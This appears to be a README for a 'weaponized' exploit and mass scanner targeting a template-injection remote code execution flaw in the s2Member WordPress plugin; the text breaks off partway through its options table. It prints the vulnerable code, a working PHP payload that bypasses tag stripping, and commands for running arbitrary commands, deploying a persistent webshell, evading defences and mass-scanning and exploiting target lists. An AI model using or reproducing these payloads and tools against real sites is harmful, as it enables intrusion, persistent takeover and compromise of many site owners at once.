Critical Severity
CVE-2026-86596
Published: Nov 10, 2026
CVE-2026-86596 - s2Member <= 260927 Weaponized RCE
# CVE-2026-86596 - s2Member <= 260927 Weaponized RCE
**CVSS 9.8** | **CVE-2026-86596** | **Patch: 261001+**
Single-file weaponized exploit & scanner for s2Member template injection via `item_name` IPN parameter.
## Vulnerability
```php
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
```
**Payload:** `<%%x%%?php system('id'); ?>` → bypasses `strip_php_tags_deep`, reassembles to valid `<?php` after placeholder cleanup.
## Usage
```bash
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
```
## Options
| Flag | Description |
|------|-------------|
| `--cmd "id"` | Command to execute (or `shell:pass` for webshell) |
| `--scan` | Mass scan mode (read targets from file) |
| `--exploit` | Attempt exploit during scan |
| `--authorized` | **REQUIRED** for any exploit action |
| `--recon` | Full reconnaissance before exploit |
| `--item-number` | Specific item_number (default: auto-discover) |
| `--proxy-verification` | s2member_paypal_proxy_verification key |
| `--write-test` | Write test file instead of executing command |
| `--deploy-shell` | Deploy persistent webshell |
| `--shell-path` | Webshell filename (default: shell.php) |
| `--full-bypass` | Try ALL bypass variants (slow) |
| `--no-evasion` | Disable all bypass attempts |
| `--threads N` | Scan threads (default: 15) |
| `--output file` | Output JSON/CSV |
| `--http-proxy` | HTTP(S)